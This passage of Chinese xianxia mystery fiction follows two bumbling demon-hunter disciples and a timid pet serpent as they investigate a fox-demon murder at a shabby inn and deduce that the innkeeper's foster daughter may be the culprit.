不远处,坐在账台边的一位老媪听见这话,急忙拄着拐起身探头,说:“不收钱,不收钱!我这做掌柜的,几顿饭还是请得起的。”
此人正是锦绣客栈的掌柜,芳龄六十,姓刘。
刘掌柜四日前受了伤,如今脸上仍旧青一块紫一块的,脖子上还带着一圈骇人的瘀伤,触目惊心。
不过,她虽鼻青脸肿,精气神却还行。
她莞尔一笑,朗声道:“你们为了保护南淮城,千里迢迢、远道而来,我怎么能昧着良心赚你们银子呢?”
“那也不能白送啊。我们妖还没捉,倒先白吃白喝上了。”冉青云指了指那碗冰雪冷元子,“单说这冰饮就不便宜了,冰井务一块冰砖都要卖四十文钱呢。”
闻言,刘掌柜连连摆手,说:“唉呀,不贵的,不贵的。我们客栈里有地窖,隆冬冻了冰存里头,入夏再拿出来用,做这冰饮花不了几个钱。”
兴许是怕再推诿下去冉青云不肯接受自己的好意,刘掌柜借口要继续对账本,埋着头往帐台后头躲,活像只一头扎进土里的鸵鸟。
冉青云还欲再说,被纪映阳按住了。
纪映阳压低声音说:“别劝啦,劝不动的。我之前好说歹说,刘掌柜都不愿意收钱。我偷偷就把银子硬塞给她养女了。只多不少,你放一百个心吧。”
“养女?”
“没错。”纪映阳点点头,“刘掌柜的养女,名叫白灿灿,她……”
说到一半,后厨门帘一掀,一位女子走进大堂,手上还端着一盘香酥鸡。
她个子不高,明眸皓齿,梳着飘渺随云髻,穿着桃色轻纱裙,貌美得与这破旧的小客栈格格不入。
纪映阳闻声抬头一看,笑道:“巧了,我们正聊到你呢。”
他掌心朝上,四指指尖指向冉青云,做了一个礼貌介绍的手势,对那女子说:“这位是我同门师姐,冉青云。”
又指向那女子,扭头对冉青云介绍:“师姐,这位就是刚刚和你说到的白姑娘。”
白灿灿淡淡一笑,和冉青云打了招呼,把香酥鸡往桌上轻轻一放,说:“菜上齐啦,你们吃好喝好,有需要随时喊我。”
她声音沙哑,带着浓浓的倦意,脸色也很憔悴,或许是这几日的飞来横祸已让她心力交瘁。
纪映阳见白灿灿脸上愁云惨淡,宽慰道:“白姑娘,不用担心,你们很快就不用再担惊受怕了。我这位师姐可比我强多了,有她相助,破案捉妖还不是手拿把掐?”
似乎是回想起骇人的狐妖和受伤的养母,白灿灿绷紧了下颚,睫毛如蝉翼一般轻轻颤了颤,喟然道:“那就倚仗两位了。”
纪映阳怜香惜玉属性大爆发,见不得白姑娘如此郁郁寡欢,于是解下腰间的红木笛子,说:“白姑娘,我又想起一首曲子,这首你肯定喜欢。若你有空,我吹给你听一听。”
纪映阳此人,捉妖之余,自诩雅人韵士,爱好风雅,最喜吹笛。
若要旁引一句古诗来形容他的笛声,那便是——“呕哑嘲哳难为听”。
说得再简洁一些,仅用“难听”二字,也足以概括得十分详尽切实。
眼见纪映阳已将木笛放到唇边、作势要吹,白灿灿慌忙错开眼神,观天观地顾四方,望上望下看左右,最后视线定格在冉青云脚边那装了一鸭一鸡两条鱼的竹篓上,眼睛一亮。
她语速极快地说:“冉仙姑还带了鸡鸭鱼肉来呀。天气炎热,放外面容易坏了,我赶紧把这些放冰窖里,耽误不得!”
说着,她提着竹篓,脚底抹油地往后厨溜,匆匆忙忙地甩下了一句:“抱歉呀纪公子,赏曲的事儿只能稍后再说了。”
看得出,这两日来,白灿灿是没少遭受纪映阳的魔音毒害。
纪映阳晃着脑袋,收起木笛,叹气道:“唉,本是看白姑娘这两日心情不好,才想着吹吹曲儿给她听,聊以慰藉。”
“可惜白姑娘实在太勤快,从早忙到晚,整整两日竟是连半首曲子都听不完。没想到我大好笛技竟无用武之地……”
心地善良的小黑蛟不顾自己精神萎顿,企图从袖口探出头,有气无力、声若蚊蝇地捧场:“我想听呀,要不你吹给……”
话还没说完,就被冉青云面无表情地一把塞回了袖子里面。
不。
你不想听。
纪映阳疑惑道:“咦?怎么感觉……刚刚似乎有什么声音?”
冉青云使出一招转移话题大法,佯作呵斥:“你破案子不积极,吹笛子倒是上心。”
纪映阳耸了耸肩,“我也只是希望白姑娘开心一些嘛。”
说罢,他凑到冉
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青云耳边,敛声屏气,耳语道:“白姑娘身世凄苦,幼时父母双亡,被刘掌柜收养。从此两人相依为命、患难与共,着实是不容易。”
“更别提现在了。短短几日,刘掌柜受伤,店小二惨死,厨子和账房先生吓得连夜跑路,连工钱都不要了。”
“如今,几乎是全靠白姑娘一人辛苦苦撑起客栈,既当跑堂又当厨子,既帮着算账本又要照顾刘掌柜。”
冉青云点点头:“那确实不易。”
纪映阳难得地一本正经起来:“所以,我们得快点捉拿狐妖,还她们一个安宁才行。”
说回捉妖正事,冉青云问:“你这两日究竟做了些什么,怎么会毫无进展?”
纪映阳缓缓摇头,无奈地叹了口气:“毫无进展也不能全怪我。”
他苦笑道:“估计是我和这南淮城八字不合。一进城,我就开始倒霉。”
“两日前,我刚进城门,寻妖罗盘就失灵;住进客栈没多久,又丢了乾坤袋。”
“乾坤袋一丢,我浑身上下顶用的家伙事儿就只剩背上这一把师公刀。这么一来,我和普通捕快也相差无几,顶多是功夫高了些罢了,怎么捉妖?我只好发信求助于你。”
说到这里,他的视线投向冉青云的乾坤袋,催促道:“对了,现在赶紧把你的寻妖罗盘拿出来用用,看看那狐妖究竟藏哪儿了。”
这……
用是不可能用的。
寻妖罗盘能感知并指向方圆三里内的妖气。然而,现在冉青云随身带着蛟妖,磁针每时每刻都会受到玄隐妖气的干扰,没法再定位其他妖怪的位置了。
除非让玄隐出城离得远远的,不然这罗盘就只能当个摆设。
她岔开话题,对纪映阳说:“此事不急,你先继续往下说。”
纪映阳从令如流,清了清嗓子,接着说:“这两日里我也没闲着。官府和邻近居民我都走访了一遍,大略知道了案子的始末原由。”
他记性极好,这两日走访的成果都已牢牢记在脑子里,一讲起来滔滔不绝。
“四天前的深夜,刘掌柜在后院遇袭,受了重伤。”
“夜巡的捕快听到响声,前来查看,正巧看见院子里有一只九尾狐妖。它不知被什么卡在水井旁,见巡捕来了,仓皇断尾逃生。”
“三天前的傍晚,店小二张铁柱去西市采买粮油。他平日吃住都在客栈里,当夜迟迟不归,刘掌柜和白姑娘就连夜去官府报了案。”
“结果,第二天一早,店小二被路人发现死在西郊树林里,身上有被怪物啃食过的痕迹。”
“仵作现场验尸,判断他约莫死了六七个时辰。也就是说,他的死亡时间大致是他出发前往西市后的一个时辰左右。”
“短短两天,客栈里一死一伤。此事又涉及妖祟,官府立马派人前往玉清山庄送信求助。接到求助信的第二天,我就赶到了南淮城。”
冉青云略一思忖,说:“这么说来,那狐妖于四日前伤了刘掌柜,又于三日前杀了店小二,想来定是嗜血成性、穷凶极恶。可是,这两日里,不仅客栈里无事发生,整个南淮城都风平浪静,有没有可能那狐妖已经逃了?”
听他们讨论了半天,玄隐早就摩拳擦掌,迫切地想出一份力。
闻言,他鼓起勇气探出圆圆的脑袋,吐着信子,踊跃发言:“狐妖一定还在附近,我能感觉得到这里的妖气非常浓烈!”
谁知,一看见他,纪映阳“噌”的一声站起来,爆发出几乎要掀翻房顶的尖叫声:“啊!!蛟蛇!!!”
玄隐大惊,立马“咻”的一声钻回去,从袖口里一路沿着手臂飞快地攀到了冉青云肩头,将她左肩上的布料顶成一个圆乎乎的小鼓包,躲在里面瑟瑟发抖地咬着自己的尾巴尖尖。
下一秒,却听见纪映阳语带怒意、嘟嘟囔囔:“师姐,你这事做得真不地道!有这么好看的小黑蛟,居然藏着掖着这么久,太小气了吧你!”
5. 第五回
没错。
纪映阳也是一位爬宠爱好者。
据说,人类对蛇的恐惧是远古以来就刻在基因上的禁令。
这世上,不惧蛇者寥寥无几,偏爱蛇者万里挑一。
没想到,这小小客栈此时竟藏龙卧虎,单是一张桌子就坐了俩。
纪映阳对爬宠的喜爱最早可追溯到他八岁之时。
当年,同样八岁的冉青云数次从林中捡回形态各异的无毒小蛇,偷偷养在卧房里。
小蛇们形貌昳丽,长得是天生丽质难自弃;冉青云心怀侥幸,误以为养在深闺人不知。
不料此事却被纪映阳发现。
冉青云为了阻止他告密,费尽心思向他安利了宠物蛇的可爱之处,并大发慈悲地允许他盘一盘自己心爱的小蛇。
这不盘不知道,一盘吓一跳!
小蛇摸起来温润如玉,看上去眉清目秀,不仅外表长得可爱,性格也傻得可爱!
纪映阳直接爱上!
自此,冉青云成为了他的爱蛇启蒙人。
可是,他却恩将仇报,多次撒泼耍赖,企图夺其所爱,将冉青云捡来的小蛇占为己有。
他俩间的争端愈演愈烈,最后被捅到凌萧真人面前,以她一句“成何体统!”草草收场。
挨了一顿胖揍后,两人被迫将捡来的蛇放归回野外。
纪映阳太久没见过蛟蛇,激动之下,根本控制不住自己的音量。
冉青云担心惊动别人,扯着纪映阳的耳朵,转身匆匆上了二楼。
“疼疼疼……”一进客房,纪映阳立即求饶,“手下留耳啊师姐,我知道错了!”
冉青云松手,把霍家村发生的事情告诉他,解释了玄隐的来历。
师姐不到半天就收了一只蛟宠,而自己忙活了两天一事无成,纪映阳嫉妒坏了,哀求道:“师姐,求你了,把小黑蛟借我盘盘吧!”
玄隐这辈子还没如此受人欢迎过,心花怒放,从冉青云肩头原路退回她的掌心,对纪映阳慷慨地说:“既然你这么喜欢,那就让你盘一盘好了。”
当事蛟都这么说了,冉青云也不好再拒绝。
纪映阳接过小黑蛟,两眼放光,爱不释手:“我的天,这也太好看了。”
小黑蛟被翻来又覆去,晕头转向之余又暗自开心,乐呵呵道:“没、没想到你俩都一点儿也不怕我……”
冉纪二人虽说都喜爱爬宠,但表达喜欢的方式却大相径庭。
冉青云表达喜欢,是悉心照顾;纪映阳表达喜欢,是使劲欺负。
于是,看见小黑蛟这憨憨的模样,纪映阳故意逗他,笑得阴恻恻的,恐吓道:“你有什么好怕的?万一哪天你想作恶害人,我们直接杀了便是!”
“杀”字一出口,玄隐顿时吓得脸色发白,几欲先走,无奈却被纪映阳牢牢抓在五指山中,身子都拧成麻花。
他晃晃身子,变回了原来碗口粗的大小。
趁着纪映阳抓不住,玄隐逃脱束缚,躲到保护伞冉青云的身后。
冉青云甩了纪映阳一记眼刀,警告道:“你别吓唬他。”
纪映故作委屈道:“你、你居然为了一条小黑蛟恐吓我,简直是重蛟轻弟!难道我们这十几年来的朝夕相处,都比不过和他的短短几日吗……”
说着,他摆出西子捧心的姿态,做作地感叹:“我终究是错付了啊!”
冉青云不疾不徐地开口:“要是你像他一样乖巧,我也不至于这么对你。”
纪映阳回以车轱辘话:“要是你不这么对我,我肯定比他还乖巧。”
接着,纪映阳若有所思地摸了摸下巴,言之凿凿地分析:“难怪你不愿拿出寻妖罗盘,一拿出来,你藏着蛟妖的事就暴露了。”
说到寻妖罗盘,冉青云倒是有正事要问:“你那罗盘怎么会突然坏了,究竟是怎么个坏法?”
纪映阳撇撇嘴,说:“我一进南淮城,寻妖罗盘的磁针就不知为何嗖嗖乱转,极其蹊跷!”
冉青云凝思片刻,正色道:“或许是这妖原本就住在南淮城,而且住了很长时间。城里到处都是妖怪生活的痕迹和残留的妖气,指针不知该往何处指,只能瞎打转。”
纪映阳挠挠头:“这么一说,确实挺有道理。”
冉青云又问:“店小二的尸体还在吗?”
纪映阳回答:“在的,和狐妖的断尾一起都存放在官府的陈尸房。”
冉青云拍板:“那我们今日先仔细调查锦绣客栈这个事发地。”
“至于尸体和狐尾,官府那么多捕快和衙役守着,不用担心那狐妖毁尸灭迹,明日再去也行。”
纪映阳频频点头,表示赞同。
“别光搁这儿点头了!”冉青云拧着纪映阳的耳朵吼道,“听明白了就快去调查。”
说完,她一脚把纪映阳从窗口踹出去,说:“下去吧你。我先换身衣裳,随后就来。”
窗外,纪映阳“咚”的一声落地,在一楼后院里骂骂咧咧:“有你这么当师姐的吗?能不能对你亲师弟好一点!”
***
冉青云简单擦了身子,换了身干净的素色鹤氅,让小黑蛟盘在她的颈后,躲进了衣领里。一切收拾妥当后,她来到了后院。
后院面积不大,中央有一口水井。
水井由老旧的石料垒成,垒得歪歪斜斜,看上去十分简陋。
或许,那狐妖那晚就是被石料间粗糙的缝隙卡住了尾巴上的毛,才不得不断尾求生。
靠外墙处围了一个猪圈。
猪圈占地面积不大,但打扫得非常干净整洁。
猪圈里,三只白白净净的小猪正吭哧吭哧地吃着猪槽中的泔水。
刘掌柜在一旁描述事发过程:“那晚我大概就是在这个位置被狐妖袭击,当场晕了过去。”
猪圈对面是刘掌柜的卧房,位于二楼客房的正下方。
卧房隔壁有个暗门,暗门里面是地窖。
地窖划分成两块区域:一侧是十来个装着冰砖的大竹篓,隐隐散发着寒意;另一侧安置着一个多层木架,上面摆着不少食材。
两个区域泾渭分明,互不污染。
冰窖地上容易积水,因此铺着防滑用的粗糙麻布,用钉子钉死了。
麻布已经泛黄,钉子也生了锈,看上去年代悠久。
麻布上没有任何血污,这至少证明受伤断尾的狐妖没有在地窖里躲藏过。
再来到刘掌柜卧房内,冉青云问刘掌柜:“你卧房里有什么贵重物品吗?”
她想知道狐妖是为了什么来这里杀人作恶。
刘掌柜点头:“有的,我客栈的地契还有不少纹银都放在这里。”
妖怪要地契和纹银干嘛?
冉青云追问:“还有其他的吗?”
没等她回答,正东看看西摸摸的纪映阳插话了。他指着雕花柜上的一个红木箱,问:“这里面装的是什么?”
这红木箱髹漆描花,铜锁扣上挂着一把横插销锁。
刘掌柜许是不想明说,撇开了视线,含糊道:“这是我家的传家宝。”
极有可能,狐妖就是冲着这个来的。
这时,玄隐趁刘掌柜不注意,偷偷凑到冉青云耳边,悄声说:“不仅是院子里,这房内也有血腥味还未散尽。”说完又乖巧地缩回衣领里躲好。
冉青云看向刘掌柜,问:“刘掌柜,我记得你说过你是在院子被狐妖袭击了?”
刘掌柜点头称是。
冉青云一脸严肃:“您再好好想想,究竟是在院子里还是在卧房里受的伤?”
被这么一问,刘掌柜也不确定了,改口道:“仔细想想,好像确实是我先在卧房内受了伤,又仓皇逃到后院……唉,瞧我这记性,估计是因为那时吓破了胆,记不太清了。”
她摸了摸鼻子,又说:“说不定是那狐妖有蛊惑之法,将我记忆扰乱了。我现在回想当时情景,只觉得天旋地转、晕晕乎乎的。”
玄隐小声点评:“确实很有可能,她身上有很重的妖气。被妖怪施法后,人身上的妖气会久久不散。”
刘掌柜真的是被
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妖怪施法扰乱记忆吗?又或者,其实她就是狐妖本尊,一切都是在自导自演?
冉青云心生怀疑,却没有打草惊蛇,不动声色地问:“我们能否再去二楼看看?”
***
客栈二楼一共有五间客房,其中位于走廊尽头的两间用作店员的寝所。
白灿灿和店小二就住在这里。
两人房间毗邻而居、布局相似。
进门左右两边分别是一张八宝架子床和一个实木顶箱柜,正对门一套榆木桌椅靠墙放着,墙上是一个镂空雕花窗,窗外有一棵郁郁葱葱的老槐树。
冉纪二人搜查了一番,没有发现任何异样。
冉青云问:“事发当晚,白灿灿和店小二也在客栈里吗?”
纪映阳看过巡捕写的口供文书,回忆道:“是的,当晚店里正巧没有客人,只有他俩在自己的房间里睡觉。”
“那他们没察觉到楼下的动静么?”
纪映阳摇摇头:“据口供,他们都说自己当时睡得太沉了。特别是店小二,巡捕敲了好久的门才醒。”
那睡眠质量未免也太好了。
今日午时,冉青云把纪映阳从二楼客房踹到一楼后院,可是连他坠地的声音都听得一清二楚。
那晚狐妖一顿大闹,二楼竟没有一个人听到吗?
冉青云说出自己的疑问,纪映阳却挠挠头说:“你这是怀疑他们在说谎?可事发突然,他俩肯定来不及串供。”
“你别忘了,狐妖本就擅长易容化形。”冉青云面色凝重,“当时的他们不一定是两个人。”
此事确实古怪。
毕竟,院子里发出响声,别说是临近的二楼了,就是在隔壁店铺里,估计都能听得一清二楚。
冉青云果断道:“我们去隔壁铺子问问当晚的情况。”
隔壁是一家成衣铺,名为罗裳阁。东家姓黄,身材圆润,街坊邻居都喊她黄大婶。
面对他们的询问,黄大婶回答得十分详尽:“刘掌柜遇袭的那天晚上,我恰好在监督裁缝赶工制衣,先是听到了激烈的打斗声,打斗声消失后没过一会儿,就看见巡捕闯进客栈搜查了。”
那确实和口供里描述的情况并无二致。
冉青云又问:“那您最后一次见到店小二是什么时候?”
“唉,小张他也是苦命人呀,年纪轻轻就……”黄大婶长叹一口气,接着说,“我最后一次见他,是在他遇害当天的傍晚,他提着扁担说要去西郊买米买油,还和我打了招呼。没想到竟是一去不回……”
冉青云继续追问:“那当晚您见过刘掌柜和白灿灿吗?”
黄大婶点点头,“不止见过,我们一直待在一起呢。”
“客栈出了狐妖作乱一事,没人敢去,她娘俩待在客栈里也是空害怕。我就邀请她俩来我铺里喝喝茶聊聊天,想着安慰安慰她们。”
黄大婶继续回忆:“我们从日薄西山一直聊到了后半夜。她俩回去后,发现小张还没回来,觉得不对劲,就去官府报了案。”
纪映阳在一旁补充:“根据仵作验尸结果,店小二的死亡时间是在天黑之后、三更之前。”
那刘掌柜和白灿灿就没有作案时间。
临走前,黄大婶喊住他们,说:“其实,还有一件怪事。”
“这两天晚上,我总依稀听到客栈院子里有奇怪声响。我既怕是狐妖作乱,又怕是小张冤魂,实在是吓得睡不着。如果大师能解决这事,那真是帮大忙了。”
冉青云和纪映阳对视一眼。
看来今晚得再探一探院子了。
***
是夜,大雨滂沱。
夜半三更,冉青云和纪映阳两人摸黑来到后院。
一片漆黑之中,噼里啪啦的落雨声和鬼哭狼嚎的疾风声此起彼伏,很是瘆人。
倏然,一道银龙般的闪电破空而出,紧接着,惊雷炸响,震耳欲聋。
闪电划破黑暗,发出刺眼的白光。
与此同时,他俩看见——那水井旁分明有一个人影!
6. 第六回
纪映阳被那人影吓得一激灵,差点儿惊呼出声。
还好冉青云眼疾手快,一把捂住他的嘴,拽着他就近躲进猪圈,屏气敛息,暗中观察。
那黑影身穿蓑衣,头戴斗笠,屈膝抱腿,静静地坐在水井旁,一动不动。
雨越下越大,空气间弥漫着雨水和青草驳杂的潮湿气味,疾风裹挟着盛夏里难得的凉意呼啸而过。
月色黯淡,槐树树影婆娑,好似狰狞的鬼爪。
这幽暗诡谲的雨夜将紧张感无限放大,冉青云心脏砰砰直跳,寒气沿着脊背蜿蜒攀升。
在这压抑的氛围中,纪映阳突然“哎哟”一声,怪叫着蹦了起来。
下一秒,他撕心裂肺地大喊:“我去,有猪在啃我屁股!”
原本,纪映阳正撅着腚趴在地上,全神贯注,静观默察,谁知后方失守,竟惨遭小猪袭臀。
闻声,水井旁的人影吓得一下子从地上弹起,抬头望向他们,露出斗笠下白净的脸来——
竟是刘掌柜的养女白灿灿。
白灿灿与冉纪二人面面相觑。
冉青云偷感十足地蹲在猪圈,纪映阳龇牙咧嘴地捂着屁股,场面一度有些尴尬。
但冉青云丝毫不慌,面不改色地从猪圈里缓缓起身,拍拍衣摆,挺直身板,直接使出一招反客为主,厉声质问道:“大晚上的,你在这里做什么?”
可怜白灿灿被吼得一哆嗦,纤长睫毛上的雨滴好似翡翠琉璃珠一般抖落在地。
她弱弱地解释:“我、我是怕狐妖又来伤害娘亲,所以就在院子里守着……”
冉青云不太相信这番说辞,目光牢牢地钉在白灿灿脸上,眼底是明晃晃的防备与猜忌。
纪映阳试图缓和气氛,夸赞道:“哇,白姑娘真是有一颗孝顺的赤子之心!”听上去有些用力过猛。
白灿灿回过神,犹犹豫豫地问:“那你们,这大半夜的,是在……?”
冉青云没讲实话,扯起慌来信手拈来:“当然是和你一样,担心狐妖再次来犯。”
为增加可信度,纪映阳拍着胸脯义正辞严地助攻补充:“保护百姓不受妖祟伤害,是我们捉妖师义不容辞的责任!”
说完,他又劝道:“白姑娘,这里有我们守着,要不你先回屋休息好了。”
白姑娘看上去将信将疑,但还是盈盈行了一礼,说了些表示感谢的场面话,拜别他们后就离开了后院。
她走后,冉青云和纪映阳继续在院子里蹲守。
然而,整整一夜,院子里再也没有任何异样的动静。
***
第二日,冉青云和纪映阳顶着硕大的熊猫眼,一大早就抵达了官府。
官府的陈尸房并不是一个房间,而是一栋小屋,也称“停丧屋”。
小屋背坐西南,面朝东北,这种朝向被称为“坤宅”,据说有驱散煞气的作用。
东升的旭日洒下阳光,晨曦从敞开的木门斜斜地照进屋内。
进了门,眼前是一个云母屏风,用于遮挡视线、化解对冲煞。
屏风后是一张桌案,桌案上除了仵作验尸的工具之外,还供着一个香炉,香炉里烧着辟邪的紫藤香。
房间角落里摆着一张面积很大的长桌,长桌上安放着店小二的尸体与狐妖的断尾
桌子下则堆着几块冰砖,用于降温,防止尸体在炎炎夏日里过早地腐坏生蛆,害得调查无法顺利进行。
冉青云若有所思地看了几眼那堆冰砖。
负责接待的是一位年轻的巡捕,他是当晚狐妖客栈作恶的唯一目击证人。
巡捕用语言尽可能地还原事故现场:“当晚,我巡逻经过客栈,听见激烈的打斗声,于是急忙用刀劈断客栈门锁,闯了进去。”
“等我跑到后院,打斗早已结束。刘掌柜倒在猪圈旁,那九尾狐妖则在水井边不知被什么卡住了尾巴。见了我,她一口咬断那条尾巴,逃之夭夭。”
长桌上,那条断尾毛色雪白,断口处满是血痕,还露出一小截断骨,分外瘆人。
妖气自动检测仪玄隐躲在冉青云衣领里,悄声说:“狐尾上的妖气特别浓郁,这九尾狐定是法力高强。”
冉青云又看向店小二的尸首,同时接过巡捕递来的验尸报告。
店小二大腿后侧有被啃食过的痕迹,右手手腕有利齿造成的贯穿伤,致命伤则在咽喉,是一道长达五寸、深可见骨的割伤。
巡捕补充道:“仵作推断,狐妖应是用利爪将张铁柱割喉,之后想生啖其肉,咬了手却发现肉不多、不好吃,转而啃他大腿肉。”
冉青云:……
照这么说,这狐妖还是个美食家啊。
检查完尸体,冉青云问:“当晚还有其他异常吗?”
“其他异常……”巡捕挠着脑袋想了半晌,说:“对了,那天晚上客栈后院异常的冷,这算吗?明明是炎夏,当时院子里却阴风阵阵、寒气逼人。”
***
从官府出来后,冉青云就近找了家茶馆,要了一间雅间。
纪映阳与她相处多年,十分默契,当即就明白她定是在破案一事上有了进展,要和他说道说道。
雅间里,玄隐终于有机会出来透透气,盘绕在桌上的胡杨枯木摆件上休息。
冉青云用手指蘸了茶水,在茶桌上画下这几日的时间线,直截了当地说:“我认为,白灿灿就是那只九尾狐妖。”
听冉青云说得如此斩钉截铁,纪映阳不由得有些惊讶。
冉青云按着时间线,将自己的猜想娓娓道来:“第一天晚上,白灿灿变回狐身,先溜进店小二房内,趁他熟睡,神不知鬼不觉地将其杀害。”
“接着,白灿灿将尸身搬到一楼后院,丢进猪槽的泔水之中。”
“一来,泔水味道重,可以掩盖血腥味;二来,捕快嫌脏,一般不会去翻查泔水槽。”
纪映阳恍然大悟:“所以……店小二后腿的伤其实是小猪所为。”
他还记着昨晚被猪拱了的耻辱,恨恨道:“难怪昨晚那猪咬我屁股!咬人咬上瘾了是吧!”
冉青
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云颔首,“猪杂食,野猪食人的惨案虽罕见,但不是没有。而狐妖爱吃的是鸟类兔子等小体型动物,并不吃人。”
“狐妖的喜好捕快和仵作有所不知,我们作为捉妖人却是一清二楚。”
冉青云言归正传,说回案子:“藏尸后,白灿灿以狐身潜入刘掌柜卧房,想偷走她的传家宝,却被刘掌柜发现。她将刘掌柜重伤,还没来得及杀死,就听见了巡捕闯入的声音,于是……”
玄隐也想参与讨论,甩着尾巴,接着话头往下讲:“于是她慌忙逃跑,却被水井石砖卡住了尾巴,只好断尾逃走。”
纪映阳语气夸张地逗他:“这么聪明呀!原来你只是憨傻,并不蠢笨。”
又欺负小黑蛟。
冉青云剜了纪映阳一眼,继续说:“白灿灿逃脱后,立马绕回自己的房间,变回人形接受巡捕的质询。”
“询问结束,巡捕又去敲店小二的门。”
“她借槐树从窗户溜进店小二房内,幻化成他的样子去开门,伪造出他还活着的假象。”
纪映阳一拍大腿:“难怪那巡捕说自己敲门敲了好一会儿,店小二才来开门。”
冉青云思路越理越清晰,滔滔不绝地说:“巡捕走后,她去冰窖取冰,丢入猪槽,推迟尸体腐坏的时间。”
方才,冉青云看见陈尸房里保鲜尸体的冰砖,再联想到客栈的冰窖,当即意识到店小二死亡时间或许有假。
“第二天傍晚,白灿灿找机会将尸首从泔水里捞出来,清洗干净,装进扁担。”
“这个过程中,猪圈不可避免地会被弄脏,她只好里里外外地打扫了一遍。所以,我们才看到猪圈干净得不同寻常。”
“之后,她扮作店小二,挑着扁担出门,借口去西市采买,实则去西郊弃尸。”
“弃尸后,她在日落之前赶回客栈,变回白灿灿的模样,和刘掌柜去隔壁的成衣铺找黄大婶喝茶。”
她总结呈词:“而仵作验出店小二死在入夜之后。这样一来,她就有了不在场证明,从而洗清嫌疑。”
纪映阳恍惚了,喃喃道:“没想到她心思居然如此缜密……”
“但多少还是有破绽的。我倒是奇怪你为何毫不怀疑。”冉青云斜眼看他,一丁点面子都不给他留,“难怪师尊总说,往好了讲你是不拘小节,往坏了讲你就是呆头呆脑。”
纪映阳很难为情,底气不足地解释:“我当然不是自始至终都没起疑。只是……在我看来,她这几日的言行举止确实没有半点差池,而且、而且她又实在美丽!”
他捂住涨红的脸,为被美貌迷惑了的自己羞愤不已。
“不过,”冉青云话锋一转,慢条斯理地说,“在这个假设的‘真相’里,其实有两件事情解释不通。”
“其一,若狐妖真是趁店小二熟睡时取他性命,直接割喉一招毙命就好了,何必多此一举地将其手腕咬伤?”
“其二,当晚巡捕只有一人,若她真的法力高强、杀人不眨眼,那为何不直接杀了巡捕,而是选择狼狈落跑?”
7. 第七回
店小二手腕上那多此一举的咬伤,狐妖面对巡捕时大可不必的逃窜,确确实实是不合逻辑之处。
冉青云说完,两人都陷入沉思,想了半天还是想不透。
“算了,这些暂且不提。”冉青云打破沉默,开口说,“至少我们知道,白灿灿十有八九就是那只狐妖。”
从目前已有的信息来看,有嫌疑的只有白灿灿和刘掌柜二人,因为只有她俩有进行藏尸抛尸的机会。
但巡捕当夜确实同时见到了逃跑的狐妖和晕倒的刘掌柜。
断掉的狐尾被巡捕捡拾,刘掌柜也被他扶起,证明巡捕所见皆是实体,并非幻术。
更何况,若刘掌柜是狐妖,她没必要自导自演一出自己遇袭的戏码,这除了引来巡捕外没有任何收益。
综上所述,可以排除刘掌柜的嫌疑,将真凶锁定在白灿灿身上。
现在的问题是,他们空有推断,没有证据。
纪映阳耷拉着脑袋,活像只淋了雨的失落小狗:“唉,可惜照妖镜太重无法携带,不然用照妖镜一照便知。”
照妖镜需要使用上千斤的纯铜炼化而成,才能达到化煞辟邪的效果,使妖魔现出原形。
纪映阳挝耳揉腮,茫然道:“那接下来怎么办?直接把她抓起来拷问吗?”
屈打成招不是冉青云的作风。
她摇了摇头,说:“我有一个法子。”
“我们找个托词将白灿灿骗到西郊。西郊人迹罕至,不像南淮城内那样满是狐妖的残留妖气,寻妖罗盘应该不会被干扰。”
“到时,就可以使用罗盘,测一测她究竟是不是妖怪。”
她顿了顿,补充道:“只是得委屈玄隐先独自在城内待着了。”
只有这样,才能排除玄隐妖气对罗盘的干扰。
冉青云掏出寻妖罗盘,罗盘的磁针在玄隐妖气的影响下疯狂旋转,蜂鸣声阵阵。
当初在霍家村后山,使用罗盘时离玄隐还有一定距离,罗盘方能正常地指明方向;如今近在咫尺,磁针转得快擦出火星子了。
以磁针旋转的速度来看,玄隐的妖力应该极强,也不知为何他总一副只会挨揍的窝囊样子。
听见冉青云的话,玄隐大惊失色!
他可不敢一只妖单独待在全是人的南淮城里,急得舌头差点儿打结:“我我我……我可以收敛妖气的!这样我就不用走远了吧!”
收敛妖气?
若是妖怪能收敛妖气,再化作人形,隐入人海,那么捉妖师除了扛着千斤的捉妖镜满世界地大海捞针,还有什么办法能捉出妖怪来?
怕是都要因业绩不佳而集体失业了。
冉纪二人在玉清山庄学了十几年捉妖技法,都从未听说过有妖怪能够收敛妖气。
冉青云少见地露出了迷茫的表情,诧异道:“这是怎么做到的?”
这一下直接把玄隐问住了。
吃饭张嘴,走路迈腿,这怎么描述方式方法?
他实在不知该如何解释,只好呲牙咧嘴、挤眉弄眼地做出一个用力的表情,说:“大概就这样,使劲,然后就行了。”
言罢,他妖气尽收,原本胡乱旋转的罗盘磁针越转越慢、越转越慢,最后震动着停了下来。
冉青云和纪映阳对视一眼,心里不约而同地想:
这蛟妖究竟是什么来头?
***
出了茶楼,冉青云一边从自己的乾坤袋里拿出铜钱、石灰粉等施法道具分给纪映阳,一边和他对戏彩排,商量用什么托词来诓骗白灿灿。
回到客栈,白灿灿刚巧就在大堂里,一手拿扫帚,一手拿簸箕,正弯腰扫地。
她头扎裹巾,身上穿着绢纱衫裙裤,腰间围着及膝的葛布裥褶裙,襻膊绳从胳膊下穿过,绕到颈后打了个结,将挽起的袖子固定,看上去非常干净利索。
诈骗计划早已定好,被骗人和诈骗主从犯也已就位。
唯一的问题就是,这两位主从犯严重缺乏诈骗经验。
纪映阳此生撒过最大的谎,就是在学堂夫子质问为何不交作业时,惺惺作态道:“夫子,您有所不知,我昨日下山,意外撞见一只凶神恶煞的犬妖,不由分说地将我题册狠狠撕碎……”
冉青云更是不遑多让,在说谎一事上是个十足的外行,水平基本上就是在纪映阳的拙劣表演后跟着抱拳喊一声“俺也一样”。
此时要让这两人将白灿灿骗到西郊,还不能引起她的怀疑,实在是难为他们了。
纪映阳非常努力,一进门就进入演戏状态,边走边嘟囔:“唉,这案子可怎么办才好,一点儿线索也没有。”
只是略显浮夸,演技还有很大的提升空间。
冉青云干巴巴地接上话头:“客栈和官府我们都去过了,现在只剩下西郊了。”
纪映阳重重地摇头,一字一顿、语气夸张地说:“我们这人生地不熟的,迷路了可如何是好啊!”
他俩动静实在太大,白灿灿停下扫地的动作,抬头狐疑地看向他们。
纪映阳一脸刚发现白灿灿也在的表情,说:“哟,白姑娘正巧也在!白姑娘打小住在南淮城,肯定认识路。”
他眨巴眨巴故作真诚的双眼:“白姑娘,不知能不能麻烦你带带路?”
冉青云和纪映阳活像两位初次登台的相声演员,不仅表演拙劣,还很缺少一唱一和的默契。
冉青云从头到尾就只说了一句话,十分没有团队合作精神,后面的场子全靠纪映阳一人苦苦撑着。
